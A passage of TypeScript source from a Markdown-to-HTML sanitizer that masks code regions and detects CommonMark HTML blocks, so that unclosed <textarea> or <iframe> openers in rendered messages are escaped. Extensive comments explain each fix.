pass: `FENCE_RE` caps fence indent\n    // at 3 ABSOLUTE columns, so at a quote-relative content column >= 4\n    // (`> 1.  ` / `> -   ` / `> -\\t`) the fence is invisible to the nested\n    // tracker, and `blankIndentedCode`'s list-aware threshold (`contentCol + 4`)\n    // starts at 8 and never reaches it either. Reproduced live for textarea and\n    // iframe, at both list spellings, the tab spelling and depth-2 quotes;\n    // `escapeUnknownHtmlTags` returned the input BYTE-IDENTICAL.\n    if (wl.some(hasListMarker)) win = blankListItemCode(win, wl, depth + 1)\n    edits.push([from, to, win])\n    run = []\n  }\n  for (const line of lines) {\n    const prefix = BLOCKQUOTE_PREFIX_RE.exec(line.content)\n    if (!prefix) {\n      flush()\n      continue\n    }\n    run.push({\n      start: line.start,\n      contentStart: line.contentStart + prefix[0].length,\n      content: line.content.slice(prefix[0].length),\n    })\n  }\n  flush()\n  return spliceWindows(masked, edits)\n}\n\n/**\n * Blank code regions nested inside LIST ITEMS, the list-container analogue of\n * `blankQuotedCode` (round 14).\n *\n * `FENCE_RE` caps fence indent at 3 columns ABSOLUTE, but CommonMark measures a\n * fence's indent from the enclosing item's CONTENT COLUMN. Every list wrapper\n * the corpus swept had a content column of 2 or 3 (`- `, `1. `), so the cap\n * happened to cover them and the gap was invisible; at content column 4 or more\n * — `-` + three spaces, `1.` + three spaces, or the TAB spelling `-\\t`, all\n * ordinary ways to write a list — a fenced code sample inside the item is seen\n * by NO pass. Its `</textarea>` then satisfied `hasLaterCloser`, and a prose\n * `<textarea>` above stayed LIVE and swallowed the rest of the message\n * (reproduced end-to-end at content columns 4 and 5 in BOTH the space and tab\n * spellings; `escapeUnknownHtmlTags` returned the input BYTE-IDENTICAL). The\n * same hole covers a BLOCKQUOTED fence inside such an item, since\n * `blankQuotedCode`'s own `BLOCKQUOTE_PREFIX_RE` is likewise anchored at\n * columns 0..3.\n *\n * Same shape as `blankQuotedCode`: strip the container prefix off each run of\n * lines that share a content column, then run the nested fence + indented scan\n * over the stripped content. The content-column stack is the one\n * `blankIndentedCode` keeps, INCLUDING CommonMark's `markerEnd + 1` clamp and\n * tab expansion, so the two passes cannot disagree about where an item's\n * content begins.\n *\n * FAIL DIRECTION: monotonic. Every pass it calls only ever blanks MORE of the\n * haystack, and more blanking means fewer visible closers, means more openers\n * escaped. So an over-detected run (a list marker written inside a fence\n * pushing a bogus column — the SCAN-SOURCE INVERSION `blankIndentedCode`\n * documents) costs at most a code sample rendered as escaped text.\n */\nfunction blankListItemCode(masked: string, lines: MaskLine[], depth = 0): string {\n  const cols: number[] = []\n  let run: MaskLine[] = []\n  let runCol = 0\n  // One edit per run, spliced in a SINGLE fold at the end — see `spliceWindows`.\n  const edits: Array<[number, number, string]> = []\n  const flush = () => {\n    if (run.length === 0) return\n    const [from, to] = runWindow(run)\n    const wl = rebaseRun(run, from)\n    let win = masked.slice(from, to)\n    // Depth limit: blank the run WHOLE rather than recurse — see\n    // `CONTAINER_NEST_LIMIT`. Fail-closed, never a skip.\n    if (depth >= CONTAINER_NEST_LIMIT) {\n      edits.push([from, to, blankRanges(win, [[0, win.length]])])\n      run = []\n      return\n    }\n    // The nested FENCE scan needs unmasked content; the nested INDENTED scan\n    // needs the CURRENT mask — exactly `blankQuotedCode`'s split. The nested\n    // QUOTED scan is needed too: `BLOCKQUOTE_PREFIX_RE` is anchored at columns\n    // 0..3, so a quoted fence inside a column-4 item was missed by BOTH\n    // containers' passes (`bq-in-col4-item`, reproduced live).\n    const afterFences = blankFencedRegions(win, wl)\n    win = blankIndentedCode(afterFences, remapToMask(afterFences, wl))\n    win = blankLinkDefinitions(win, wl)\n    if (wl.some(hasQuotePrefix)) win = blankQuotedCode(win, wl, depth + 1)\n    // …and ITSELF, the symmetric counterpart of the `blankQuotedCode →\n    // blankListItemCode` call above (round 19 — tenth instance of the fail-open\n    // class). `LIST_MARKER_RE` is anchored at `^` and matches only the FIRST\n    // marker on a line, so an INNER item's content column was never pushed and\n    // a block opened on a nested marker line (`- - ```html`, `- - [a]: /x\n    // \"</textarea>\"`) was cut to the OUTER item's column only — still short of\n    // its own. Reproduced live for both shapes at zero quote depth\n    // (`escapeUnknownHtmlTags` byte-identical, one live `<textarea>`, the\n    // document below swallowed). Re-cutting the stripped run re-runs\n    // `LIST_MARKER_RE` against content that now BEGINS at the outer item's\n    // column, so the inner marker is the first one and its column is pushed.\n    //\n    // TERMINATION (self-recursion): every line put in a run is cut at\n    // `charIndexAtColumn(content, top)` with `top >= 1`, which returns an index\n    // `>= 1` (index 0 is only reachable for column 0), so EVERY member of the\n    // run is strictly shorter than the line it came from. The measure\n    // `M(run) = Σ line.content.length` from `blankQuotedCode`'s proof therefore\n    // strictly decreases across this call exactly as it does across the\n    // `blankQuotedCode` one — blank separators enter an already-open run as\n    // `content: ''` (length 0 ≤ original) and never open one. `M` is a\n    // non-negative integer, so the chain is finite; a run with no marker at all\n    // pushes no column, leaves `top === 0`, opens no run and the recursion stops\n    // one level down — which is exactly what `hasListMarker` short-circuits.\n    if (wl.some(hasListMarker)) win = blankListItemCode(win, wl, depth + 1)\n    edits.push([from, to, win])\n    run = []\n  }\n  for (const line of lines) {\n    // A blank line does not close a list item, so it stays in the run — the\n    // nested tracker needs it to see the paragraph break. CommonMark's blank\n    // line, not `trim()` (see `isBlankLine`).\n    if (isBlankLine(line.content)) {\n      if (run.length > 0) run.push({ ...line, content: '' })\n      continue\n    }\n    const indent = leadingIndent(line.content)\n    while (cols.length > 0 && indent < cols[cols.length - 1]) cols.pop()\n    // THE MARKER LINE IS ITSELF ITEM CONTENT (round 18 — eighth instance of the\n    // fail-open class). The marker used to be pushed AFTER the run-membership\n    // decision, so `top` was read from the enclosing state and the marker line\n    // NEVER entered a run — the run began on the line BELOW it. A block opened\n    // ON the marker line (`-   ```html`, `1.  ```html`, `-\\t```html`,\n    // `> -   ```html`) was therefore seen by no pass at all: `FENCE_RE` caps\n    // fence indent at 3 ABSOLUTE columns so the top-level tracker misses it, and\n    // `blankIndentedCode`'s `contentCol + 4` threshold overshoots it. Worse, the\n    // run then STARTED after the opener, so the item's CLOSING fence read as an\n    // `open` to the nested tracker, which blanked to EOF while leaving the code\n    // BODY — and its `</textarea>` — live in the haystack. Reproduced at ZERO\n    // nesting depth (`escapeUnknownHtmlTags` returned the input BYTE-IDENTICAL,\n    // one live editable `<textarea>` swallowing the prose above it), for both\n    // textarea and iframe and at every marker spelling.\n    //\n    // Pushing the marker first makes `top` the column this line's own content\n    // starts at, so `charIndexAtColumn(content, top)` cuts exactly at the marker\n    // (`marker[0].length`, or `markerEnd + 1` under the clamp) and hands the\n    // nested tracker precisely the item content.\n    //\n    // TERMINATION IS UNCHANGED: `top >= 4` still implies `cut >= 1` (the cut\n    // index can only be 0 when the requested column is 0), so every line put in\n    // a run still strictly shortens and the measure `M(run)` in\n    // `blankQuotedCode`'s termination proof still strictly decreases.\n    const marker = LIST_MARKER_RE.exec(line.content)\n    if (marker) {\n      const markerEndCol = visualColumn(line.content, marker[0].length - marker[2].length)\n      const contentCol = visualColumn(line.content, marker[0].length)\n      cols.push(contentCol - markerEndCol > 4 ? markerEndCol + 1 : contentCol)\n    }\n    const top = cols.length > 0 ? cols[cols.length - 1] : 0\n    if (top !== runCol) {\n      flush()\n      runCol = top\n    }\n    // EVERY list item is re-scanned at its own content column (round 19 — ninth\n    // instance of the fail-open class). The gate used to be `top >= 4`, on the\n    // claim that \"below column 4 the top-level passes already cover the line at\n    // the right column\". That is true for a CONTINUATION line — its absolute\n    // indent of 2 or 3 falls inside `FENCE_RE`'s 0..3 cap — and FALSE for the\n    // MARKER LINE, which the top-level passes examine only at column 0, where\n    // the leading `- ` / `1. ` is not whitespace so `FENCE_RE` cannot match and\n    // `blankIndentedCode`'s `contentCol + 4` overshoots. At content column 2 or\n    // 3 — `- ` and `1. `, the two MOST COMMON spellings — the gate then denied\n    // the marker line any run at all and no pass examined it. Reproduced live\n    // for `- ```html` / `1. ```html` / the `<iframe>` spelling, EOF-terminated\n    // (`escapeUnknownHtmlTags` byte-identical, one live RAWTEXT element, the\n    // document below swallowed); the closed-fence spelling is rescued only\n    // INCIDENTALLY by `findInlineCodeRanges` matching the two backtick runs.\n    //\n    // Round 18 fixed WHERE the column is pushed (the marker line now joins the\n    // run) but kept a gate whose justification was untrue one column-range\n    // lower. The gate was an unforced optimization: the pass is documented\n    // monotonic, so re-scanning narrow items can only blank MORE, and\n    // termination is unaffected (`top >= 1` still implies `cut >= 1`).\n    if (top >= 1) {\n      const cut = charIndexAtColumn(line.content, top)\n      if (cut < 0) {\n        flush()\n        runCol = 0\n      } else {\n        run.push({\n          start: line.start,\n          contentStart: line.contentStart + cut,\n          content: line.content.slice(cut),\n        })\n      }\n    }\n  }\n  flush()\n  return spliceWindows(masked, edits)\n}\n\n/**\n * Build the haystack `hasLaterCloser` searches: a LENGTH-PRESERVING lowercased\n * copy of the document with every region that cannot contain a REAL closing\n * tag blanked to spaces.\n *\n * Why this exists: the escaping pass carefully carves code out, but the\n * closer search used to run over the RAW document. So a `</textarea>` sitting\n * inside a code fence, an inline-code span, or another tag's attribute string\n * satisfied \"is closed later\", the prose opener was left LIVE, and parse5's\n * RAWTEXT span swallowed the rest of the message anyway — the whole fix was\n * one code sample away from being bypassed, which is exactly what an LLM\n * answer about HTML looks like.\n *\n * Masking (rather than deleting) keeps every index identical to the original\n * string, so the caller's offset arithmetic is unchanged. THE LENGTH\n * INVARIANT IS LOAD-BEARING — see `foldAsciiCase`.\n *\n * CARVE DECISION (deliberate, do not \"unify\"): these tracker-derived regions\n * are NOT fed to the escaping carve, even though that would stop an authored\n * EOF-terminated fence body from rendering as literal `&lt;their&gt;`.\n *\n * The genuine asymmetry is the EOF-TERMINATED fence, and only that one. The\n * tracker protects an unclosed opener all the way to end of input, so a single\n * stray ``` line — mid-stream, or inside an open raw-HTML block where a ```\n * line is content rather than a fence — would carve the ENTIRE remainder of the\n * document out of the escaping pass. `PROTECTED_SPAN_RE` protects nothing at\n * all there (it only recognizes a fence CLOSED by a same-marker run), so its\n * failure mode is bounded: a code sample renders as escaped text. In the carve\n * an over-detected region is a region that is NOT escaped — a fail-OPEN, i.e.\n * exactly the swallow this module exists to prevent — so the materially larger\n * fail-open surface decides it.\n *\n * SHARED over-detection (e.g. a ``` line inside an HTML block — `<div>`,\n * `<pre>`, `<details>` — where CommonMark says the line is HTML content, not a\n * fence) was previously dismissed here as \"not an argument either way\". THAT\n * WAS WRONG: it is precisely the residual fail-open. The intersection guard\n * below only reconciles DISAGREEMENT, so when BOTH engines open the same bogus\n * fence the guard is a no-op and a live `<textarea>` inside it is pushed\n * verbatim, swallowing the rest of the message (reproduced for all three tags).\n * What actually closes it is the CARVE BALANCE GUARD in\n * `escapeUnknownHtmlTags`: a protected span may contain no UNBALANCED RAWTEXT\n * opener. Neither engine needs to learn about HTML blocks for that to hold.\n *\n * What makes keeping two engines SAFE is therefore the pair of guards in\n * `escapeUnknownHtmlTags`: a carve span the mask did not blank is escaped\n * rather than pushed through verbatim, and a span carrying an unbalanced\n * RAWTEXT opener is escaped even when both engines agree. Over-detection can\n * then only cost cosmetics. Before the first guard the regex's info-string-tolerant\n * closer let it desync and open a span from a line CommonMark treats as\n * ordinary text, sheltering a live `<textarea>` from escaping entirely\n * (`mismatched-fence-carve-does-not-shelter-opener`). The remaining tradeoff is\n * pinned by `unclosed-fence-body-renders-escaped` rather than left as prose.\n */\nfunction buildCloserHaystack(text: string): string {\n  const folded = foldAsciiCase(text)\n  const lines = toMaskLines(folded)\n  // 1. Inline code spans (the only non-line-state code region). Uncapped and\n  //    backtracking-free — see `findInlineCodeRanges`; an over-cap span used to\n  //    be skipped entirely and sheltered a live RAWTEXT opener.\n  let masked = blankRanges(folded, findInlineCodeRanges(folded))\n  // 2. Every BLOCK-level code form, derived from line state over `folded`:\n  //    fences (tracker-accurate, closed and EOF-terminated alike), indented\n  //    code, blockquoted code, and HTML comments. Each of these carried a\n  //    reproduced live-textarea swallow before it was masked.\n  masked = blankFencedRegions(masked, lines)\n  //    The indented pass walks the CURRENT mask (not `folded`) so a list marker\n  //    written inside a fence cannot shift its content-column stack — see its\n  //    SCAN-SOURCE INVERSION note. `blankQuotedCode` still gets the unmasked\n  //    lines because its NESTED fence scan needs them, and applies the same\n  //    inversion internally.\n  masked = blankIndentedCode(masked, remapToMask(masked, lines))\n  //    …and LINK REFERENCE DEFINITIONS, which remark consumes whole and emits\n  //    nothing for, so a `</textarea>` in a destination or title is not a closer.\n  masked = blankLinkDefinitions(masked, lines)\n  //    …and the GFM FOOTNOTE definitions that pass deliberately refuses, but only\n  //    the UNREFERENCED ones: remark-gfm drops those whole, so their bodies are\n  //    not document text either. It reads the CURRENT mask for DEFINITIONS and a\n  //    separate, more-blanked copy for REFERENCES (`footnoteReferenceMask`), both\n  //    behind a `[^` guard.\n  //\n  //    ITS SLOT IS CONSTRAINED ON BOTH SIDES, and neither bound is cosmetic:\n  //      · it may not run EARLIER than the code passes, whose output is the\n  //        definition source;\n  //      · it may not simply be MOVED after `blankInlineLinkPayloads` /\n  //        `blankBracketLabels` to pick up the phantom-reference fix, because\n  //        `blankBracketLabels` blanks footnote labels \"reference AND definition\n  //        alike\" — after it, EVERY reference is gone and every referenced\n  //        definition would be over-blanked into escaped source. Hence the\n  //        separate scratch copy instead of a reorder.\n  masked = blankUnreferencedFootnotes(masked, lines, folded)\n  //    …and the INLINE link/image spelling of the same shelter, which remark\n  //    likewise turns into href/title attributes. Container-agnostic, so like\n  //    the definition pass it needs exactly one top-level call.\n  masked = blankInlineLinkPayloads(masked, folded)\n  //    …and the BRACKET half of that same class — an image's alt, a reference\n  //    label, a footnote label — which remark consumes into an attribute or an\n  //    identifier. Container-agnostic, so likewise exactly one top-level call.\n  masked = blankBracketLabels(masked, folded)\n  masked = blankQuotedCode(masked, lines)\n  //    …and the LIST-container analogue, for items whose content column exceeds\n  //    the 3-column fence-indent cap. Monotonic, so its position among the\n  //    block passes is not load-bearing.\n  masked = blankListItemCode(masked, lines)\n  // Comments scan the MASKED copy, not `folded` — see `blankComments`. Must\n  // stay LAST: it relies on every code region already being blanked.\n  masked = blankComments(masked, masked)\n  // 3. Attribute regions. Blanking the WHOLE tag would blank real `</tag>`\n  //    closers too (and break the closed-form fixtures), so only the\n  //    attribute run between the tag name and the `>` is cleared.\n  masked = blankTagAttributes(masked)\n  return masked\n}\n\n/** Exported for the length-preservation invariant test only. */\nexport const __buildCloserHaystackForTest = buildCloserHaystack\n\n/**\n * True when a well-formed `</tag>` (optional trailing whitespace) occurs at\n * or after `from` in the MASKED lowercased source (see `buildCloserHaystack`).\n * Substring search rather than a per-tag `RegExp` — the tag comes from\n * `RAWTEXT_TAGS`, but building regexes from tag names in a hot path invites\n * an injection footgun on the next edit.\n */\nfunction hasLaterCloser(lowerSource: string, tag: string, from: number): boolean {\n  const needle = `</${tag}`\n  let cursor = from\n  for (;;) {\n    const at = lowerSource.indexOf(needle, cursor)\n    if (at === -1) return false\n    // Only `</tag>` or `</tag   >` closes it; `</tagfoo>` is a different tag.\n    if (/^\\s*>/.test(lowerSource.slice(at + needle.length, at + needle.length + 64)))\n      return true\n    cursor = at + needle.length\n  }\n}\n\n/**\n * True when the mask considers `[from, to)` entirely code — every character\n * blanked to a space (newlines are never blanked, so they count as blank).\n * Both strings are the same length by construction (see `foldAsciiCase`).\n */\nfunction isMaskedBlank(lowerSource: string, from: number, to: number): boolean {\n  for (let i = from; i < to; i++) {\n    const c = lowerSource[i]\n    if (c !== ' ' && c !== '\\n') return false\n  }\n  return true\n}\n\n/**\n * True when `span` contains a RAWTEXT opener with no matching closer INSIDE\n * the span — the self-containment test the carve applies before pushing a\n * protected span through verbatim. See the CARVE BALANCE GUARD in\n * `escapeUnknownHtmlTags`.\n *\n * A closer with no opener before it is harmless (it cannot start a RAWTEXT\n * span), so the counter floors at zero rather than going negative.\n *\n * SELF-CLOSING IS AN OPENER (round 11). HTML ignores the self-closing flag on\n * non-void, non-foreign elements, so parse5 tokenizes `<textarea/>` as a START\n * tag and enters RAWTEXT exactly like `<textarea>`. Keying on `selfClose === ''`\n * therefore made this guard — and the closer check in `escapeOutsideFences` —\n * blind to the self-closed spelling of EVERY shape they defend against; the\n * round-9 HTML-block fixtures passed only because they used the bare spelling.\n * See the matching note on `escapeOutsideFences` for the one cosmetic cost.\n */\nfunction hasUnbalancedRawtextOpener(span: string): boolean {\n  if (span.indexOf('<') === -1) return false\n  const open = new Map<string, number>()\n  TAG_LIKE_REGEX.lastIndex = 0\n  let m: RegExpExecArray | null\n  while ((m = TAG_LIKE_REGEX.exec(span)) !== null) {\n    const [, slash, tag] = m\n    const lower = tag.toLowerCase()\n    if (!RAWTEXT_TAGS.has(lower)) continue\n    if (slash === '') {\n      open.set(lower, (open.get(lower) ?? 0) + 1)\n    } else {\n      open.set(lower, Math.max(0, (open.get(lower) ?? 0) - 1))\n    }\n  }\n  for (const count of open.values()) if (count > 0) return true\n  return false\n}\n\n/**\n * ---------------------------------------------------------------------------\n * CommonMark HTML BLOCK ranges — the property the CARVE BALANCE GUARD gates on\n * ---------------------------------------------------------------------------\n * The guard exists because a protected span sitting inside an HTML BLOCK is not\n * really code: CommonMark says an HTML block runs to its own terminator, so\n * every line inside it is HTML CONTENT. Round 9 discovered that through the\n * FENCE spelling (a ``` line inside `<div>` is content, but both fence engines\n * call it a fence and shelter what follows). Round 11 then scoped the guard to\n * fences — and reopened the identical hole through INLINE CODE, whose\n * \"an inline span can shelter nothing, remark emits it as an `inlineCode` TEXT\n * node\" justification is precisely the invariant that fails inside an HTML\n * block, where remark emits raw HTML and backticks are not code at all.\n *\n * Gating on the span's FLAVOR was therefore the wrong property in both\n * directions. This walk supplies the right one: HTML-block membership, which\n * covers both spellings, while `` Use the `<title>` element `` in ordinary\n * prose keeps rendering verbatim (round 11's regression stays fixed).\n *\n * FAIL DIRECTION: a detected range only makes the guard ESCAPE a span, and\n * escaping inside a GENUINE HTML block is invisible (the surrounding content is\n * raw HTML, where `&lt;` is decoded as `<`). Over-detection is therefore\n * cosmetic ONLY when we are wrong about the block — so the walk tracks\n * CommonMark closely rather than blanket-detecting.\n *\n * START CONDITIONS IMPLEMENTED: all seven (1 `<script|pre|style|textarea`,\n * 2 `<!--`, 3 `<?`, 4 `<!LETTER`, 5 `<![CDATA[`, 6 the known block-tag list,\n * 7 a complete open/closing tag ALONE on its line). Condition 7 is the one that\n * needs paragraph state — it alone cannot interrupt a paragraph — and it is NOT\n * omissible: `<span>` is outside both the type-1 and type-6 tag lists, so\n * dropping 7 would leave `` <span>\\n`<textarea>`\\n</span> `` sheltering a live\n * opener (verified end-to-end before this walk existed). Paragraph state is\n * approximated by \"the previous line was ordinary text\", which is exact for the\n * shapes 7 cares about; where it errs it errs toward NOT being in a paragraph,\n * i.e. toward detecting a block, i.e. toward escaping.\n *\n * This walk is deliberately SEPARATE from the mask's line walk. The mask is the\n * closer-search security boundary and currently over-blanks a ``` line inside an\n * HTML block (fail-CLOSED there); teaching it about HTML blocks would UNBLANK\n * that region and turn a code-sample `</textarea>` into a live closer — the\n * fail-OPEN direction. Same line-state concept, opposite fail directions, so\n * they stay two walks.\n */\ninterface HtmlBlockRange {\n  start: number\n  end: number\n}\n\n/** CommonMark start-condition 6 tag list (verbatim from the spec). */\nconst HTML_BLOCK_TYPE_6_TAGS = new Set([\n  'address', 'article', 'aside', 'base', 'basefont', 'blockquote', 'body',\n  'caption', 'center', 'col', 'colgroup', 'dd', 'details', 'dialog', 'dir',\n  'div', 'dl', 'dt', 'fieldset', 'figcaption', 'figure', 'footer', 'form',\n  'frame', 'frameset', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'head', 'header',\n  'hr', 'html', 'iframe', 'legend', 'li', 'link', 'main', 'menu', 'menuitem',\n  'nav', 'noframes', 'ol', 'optgroup', 'option', 'p', 'param', 'search',\n  'section', 'summary', 'table', 'tbody', 'td', 'tfoot', 'th', 'thead',\n  'title', 'tr', 'track', 'ul',\n])\n\nconst HTML_BLOCK_START_1 = /^ {0,3}<(?:script|pre|style|textarea)(?:[ \\t>]|\\r?$)/i\nconst HTML_BLOCK_END_1 = /<\\/(?:script|pre|style|textarea)>/i\nconst HTML_BLOCK_START_2 = /^ {0,3}<!--/\nconst HTML_BLOCK_START_3 = /^ {0,3}<\\?/\nconst HTML_BLOCK_START_4 = /^ {0,3}<![a-zA-Z]/\nconst HTML_BLOCK_START_5 = /^ {0,3}<!\\[CDATA\\[/\nconst HTML_BLOCK_START_6 = /^ {0,3}<(\\/?)([a-zA-Z][a-zA-Z0-9-]{0,63})(?:[ \\t]|\\/?>|\\r?$)/\n/** A COMPLETE open or closing tag, alone on its line. Attribute run bounded for\n *  the same ReDoS reason as `TAG_LIKE_REGEX`. */\nconst HTML_BLOCK_START_7 =\n  /^ {0,3}(?:<[a-zA-Z][a-zA-Z0-9-]{0,63}(?:\\s[^>]{0,4096}?)?\\/?>|<\\/[a-zA-Z][a-zA-Z0-9-]{0,63}[ \\t]{0,64}>)[ \\t]*\\r?$/\n/** Lines that are NOT ordinary paragraph text (so condition 7 may start after\n *  them). A lone tag line is deliberately ABSENT: under CommonMark it cannot\n *  interrupt a paragraph, so it continues one. */\nconst NON_PARAGRAPH_LINE_RE =\n  /^ {0,3}(?:#{1,6}(?:[ \\t]|\\r?$)|>|[-*+](?:[ \\t]|\\r?$)|\\d{1,9}[.)](?:[ \\t]|\\r?$)|`{3,}|~{3,}|=+[ \\t]*\\r?$|(?:[-*_][ \\t]*){3,}\\r?$)/\n\n/**\n * CONTAINER NORMALIZATION (round 13). Every start/end condition above is\n * anchored `^ {0,3}<…` and used to be matched against the RAW line, so inside a\n * BLOCKQUOTE or a LIST ITEM none of them ever fired — `> <div>` / `- <div>`\n * looked like ordinary text. CommonMark opens the block INSIDE the container, so\n * every following line is HTML content; the walk missed the whole range, the\n * balance guard stayed blind, and `` > `<textarea>` `` was pushed through\n * VERBATIM (`escapeUnknownHtmlTags` returned the input byte-identical).\n *\n * Detection here only ever causes ESCAPING, so a CONSERVATIVE strip is enough\n * and no container-stack model is needed: stripping more than CommonMark would\n * can only over-detect, and over-detection inside a genuine HTML block is\n * invisible (see FAIL DIRECTION above), while under-detection is the swallow.\n *\n * WHAT THIS MODELS: any run of blockquote markers (`>` with up to 3 spaces of\n * indent and one optional space after), then at most one list marker\n * (`-`/`*`/`+`/`1.`/`1)` plus its following spaces), then — for CONTINUATION\n * lines — up to `listContentCol` columns of leading whitespace, where\n * `listContentCol` is the width of the most recent list marker seen at the\n * current level.\n *\n * WHAT IT DOES NOT MODEL, and why the residual is fail-CLOSED:\n *  - It keeps NO container stack, so it cannot tell a lazy-continuation line\n *    from a line that genuinely left the container, and it does not verify that\n *    a stripped prefix matches the prefix the enclosing block actually opened\n *    with. Both errors strip TOO MUCH, i.e. detect MORE blocks, i.e. escape.\n *  - `listContentCol` takes the literal marker width and does NOT apply\n *    CommonMark's clamp to `markerEnd + 1` when the first block starts more than\n *    4 spaces after the marker. Under `-` + six spaces the real content column\n *    is 2 and the remainder is indented code INSIDE the item; we strip 7 and may\n *    call an indented-code line a block start. Again: more detection.\n *  - TERMINATION strips by prefix WIDTH, not by prefix IDENTITY (see the\n *    `blank` computation): a line carrying a different container's marker\n *    within the opening line's prefix width and nothing after it still reads as\n *    blank. That shape is a lone container marker at or left of the opening\n *    content column, which under CommonMark closes the enclosing container (and\n *    with it the HTML block) anyway — so the two agree on every shape checked.\n *    It is the ONE bullet here whose error direction is under-detection, and it\n *    is why the width is taken from the OPENING line rather than from a greedy\n *    re-strip of each line.\n *  - Offsets are NOT rewritten: `start` / `lastEnd` stay in the ORIGINAL\n *    coordinate space (the stripped prefix is discarded, never subtracted), so\n *    the ranges remain valid for the caller's overlap test. Line-granular\n *    coordinates are sufficient there — `spanInsideHtmlBlock` only asks whether\n *    a span intersects a range.\n *\n * TABS ARE EXPANDED TO 4-COLUMN STOPS FIRST (round 14). Every measurement here\n * is a COLUMN count, and CommonMark measures columns, so the walk cannot be fed\n * raw characters. Round 13 admitted the gap as a bounded residual and argued it\n * was fail-CLOSED; that argument was WRONG and the residual was exploitable.\n * `-\\t-\\tfoo` opens a list item whose real content column is 8 (each tab\n * advances to the next multiple of 4), but the character count is 4, so a\n * continuation line indented 8 spaces was stripped by only 4 and still looked\n * indented by 4 — `^ {0,3}<…` missed, `kind` stayed `null`, no range was\n * recorded, the balance guard never fired, and a live `<iframe>` / a swallowing\n * `<textarea>` reached the DOM inside a protected span (`escapeUnknownHtmlTags`\n * returned the input BYTE-IDENTICAL). `expandTabs` closes it: after expansion\n * the line contains no tabs at all, so `^ {0,3}` and every `[ \\t]` class below\n * see true columns. Its arithmetic is the same 4-column stop rule as the mask's\n * `visualColumn`, so the two walks agree on what a column is.\n *\n * The blockquote half reuses `BLOCKQUOTE_PREFIX_RE` — the mask's existing\n * blockquote-stripping SSOT — so the two walks agree on what a quote marker is.\n */\nconst LIST_MARKER_PREFIX_RE = /^[ \\t]{0,3}(?:[-*+]|\\d{1,9}[.)])(?:[ \\t]{1,64}|\\r?$)/\n\n/** Expand tabs to 4-column tab stops, so character offsets in the result ARE\n *  columns. Same stop rule as `visualColumn` (the mask's SSOT for this). */\nfunction expandTabs(s: string): string {\n  if (s.indexOf('\\t') === -1) return s\n  let out = ''\n  for (const ch of s) out += ch === '\\t' ? ' '.repeat(4 - (out.length % 4)) : ch\n  return out\n}\n\ninterface NormalizedLine {\n  /** The line with its container prefix removed (start/end conditions match this). */\n  text: string\n  /** Content column of a list marker this line OPENED, or -1 if it opened none. */\n  openedListCol: number\n}\n\n/** `rawLine` is expanded to column stops FIRST, so every length taken below is a\n *  column count. Callers that compare against the input must compare against\n *  `expandTabs(rawLine)`, not `rawLine` — see `computeHtmlBlockRanges`. */\nfunction stripContainerPrefix(rawLine: string, listContentCol: number): NormalizedLine {\n  const line = expandTabs(rawLine)\n  let rest = line\n  let openedListCol = -1\n  // The enclosing item's continuation indent, consumable ONCE.\n  let indentBudget = listContentCol\n  // Containers nest in either order (`- > <div>`, `> - <div>`), so alternate\n  // until nothing more is consumed. Bounded so a pathological line of markers\n  // cannot make this super-linear.\n  for (let depth = 0; depth < 16; depth++) {\n    const bq = BLOCKQUOTE_PREFIX_RE.exec(rest)\n    if (bq !== null && bq[0].length > 0) {\n      rest = rest.slice(bq[0].length)\n      if (openedListCol >= 0) openedListCol = line.length - rest.length\n      continue\n    }\n    const li = LIST_MARKER_PREFIX_RE.exec(rest)\n    if (li !== null) {\n      rest = rest.slice(li[0].length)\n      openedListCol = line.length - rest.length\n      continue\n    }\n    // Continuation line of the open list item: drop up to the content column of\n    // leading whitespace (never more, and never non-whitespace) — then KEEP\n    // PEELING. Round 13 consumed this indent after the loop and returned, so a\n    // container opened INSIDE the item (`-\\\\t> <div>` continued by `    > <div>`)\n    // kept its `>` and no start condition could match: the range was missed and\n    // the balance guard went blind, exactly the round-13 symptom one level down.\n    // Both markers are anchored `^ {0,3}`, so the indent MUST come off first for\n    // either to be seen. Guarded on \"this line opened no list marker\", which is\n    // what makes it a continuation line at all.\n    if (openedListCol < 0 && indentBudget > 0) {\n      let i = 0\n      while (i < indentBudget && i < rest.length && rest[i] === ' ') i++\n      indentBudget = 0\n      if (i > 0) {\n        rest = rest.slice(i)\n        continue\n      }\n    }\n    break\n  }\n  return { text: rest, openedListCol }\n}\n\n/**\n * `line` MUST be the CONTAINER-NORMALIZED text (`norm.text`), not the raw line.\n * Kind 4's end condition is a bare `>`, which EVERY blockquote prefix contains —\n * fed the raw line, `> <!DOCTYPE html` self-terminated on its own start line, so\n * the range was never recorded and the balance guard went blind for the rest of\n * the block. Kinds 1/2/3/5 cannot have their closers inside a container prefix,\n * so for them the two are equivalent; passing `norm.text` uniformly removes the\n * asymmetry rather than documenting it as a fifth under-detection residual.\n */\nfunction htmlBlockEnds(kind: number, line: string): boolean {\n  switch (kind) {\n    case 1:\n      return HTML_BLOCK_END_1.test(line)\n    case 2:\n      return line.indexOf('-->') !== -1\n    case 3:\n      return line.indexOf('?>') !== -1\n    case 4:\n      return line.indexOf('>') !== -1\n    default:\n      return line.indexOf(']]>') !== -1\n  }\n}\n\nfunction htmlBlockStartKind(line: string, inParagraph: boolean): number | null {\n  if (line.indexOf('<') === -1) return null\n  if (HTML_BLOCK_START_1.test(line)) return 1\n  if (HTML_BLOCK_START_2.test(line)) return 2\n  if (HTML_BLOCK_START_3.test(line)) return 3\n  if (HTML_BLOCK_START_5.test(line)) return 5\n  if (HTML_BLOCK_START_4.test(line)) return 4\n  const six = HTML_BLOCK_START_6.exec(line)\n  if (six && HTML_BLOCK_TYPE_6_TAGS.has(six[2].toLowerCase())) return 6\n  // Condition 7 is the ONLY one that cannot interrupt a paragraph.\n  if (!inParagraph && HTML_BLOCK_START_7.test(line)) return 7\n  return null\n}\n\nfunction computeHtmlBlockRanges(text: string): HtmlBlockRange[] {\n  if (text.indexOf('<') === -1) return []\n  const ranges: HtmlBlockRange[] = []\n  const fences = createFenceTracker()\n  let kind: number | null = null\n  let start = 0\n  let lastEnd = 0\n  let inParagraph = false\n  let offset = 0\n  // Container state for the normalization above. `listContentCol` is the width\n  // of the innermost list marker seen; `openPrefixLen` is how many prefix\n  // COLUMNS the CURRENTLY open block consumed on its OPENING line, which decides\n  // whose notion of \"blank line\" terminates a type-6/7 block (see below).\n  let listContentCol = 0\n  let openPrefixLen = 0\n  for (const line of text.split('\\n')) {\n    const lineStart = offset\n    const lineEnd = offset + line.length\n    offset = lineEnd + 1\n    // Columns, not characters (see `expandTabs`). Every comparison against \"the\n    // line as written\" below must use THIS, or a tab-prefixed container reads as\n  